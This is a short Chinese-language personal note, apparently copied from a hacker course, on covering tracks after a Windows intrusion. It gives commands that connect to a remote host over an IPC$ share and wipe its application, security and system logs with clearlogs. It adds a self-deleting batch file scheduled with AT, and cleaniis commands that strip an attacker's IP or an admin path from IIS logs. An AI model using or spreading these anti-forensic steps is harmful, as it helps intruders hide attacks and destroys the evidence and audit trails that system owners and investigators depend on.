最近在學黑基的vip，把那裏的筆記也放到這裏吧，留作參考！
redhat.zf
1.系统日志 通过手工很难清除.工具 clearlog.exe
(1) 清除远程计算机的日志
** 先用ipc连接上去: net use \\ip\ipc$ 密码/user:用户名
** 然后开始清除: 方法
clearlogs \\ip -app
这个是清除远程计算机的应用程序日志
clearlogs \\ip -sec 这个是清除远程计算机的安全日志
clearlogs \\ip -sys 这个是清除远程计算机的系统日志
注：不寫IP為清除本機的日志
"Success: The log has been cleared"
安全日志已经被清除成功.
-----------------------------------------
(2).为了更安全，可以建立一个批处理文件.让自动清除。
例如建立一个 c.bat
rem ============================== 开始
@echo off
clearlogs -app
clearlogs -sec
clearlogs -sys
del clearlogs.exe
del c.bat
exit
rem ============================== 结束
------------------------------------------
(3).AT 时间 c:\c.bat
之后就可以安全离开了. 这样才更安全一点.呵呵
------------------------------------------
===========================================================
2.清除iis日志: 工具:cleaniis.exe
使用方法解释:
cleaniis.exe iis日志存放的路径 清除参数
cleaniis c:\winnt\system32\logfiles\w3svc1\ 192.168.0.1
这个表示清除log中所有此IP(192.168.0.1)地址的访问记录.
-----推荐使用这种方法
cleaniis c:\winnt\system32\logfiles\w3svc1\ /shop/admin/
这个表示清除这个目录里面的所以的日志
c:\winnt\system32\logfiles\w3svc1 代表是iis日志的位置(windows
nt/2000) 这个路径可以改变
c:\windows\system32\logfiles\w3svc1 代表是iis日志的位置(windows
xp/2003) 这个路径可以改变
==========================================================
3.清除历史记录及运行的日志:
cleaner.exe
直接运行就可以了.
==========================================================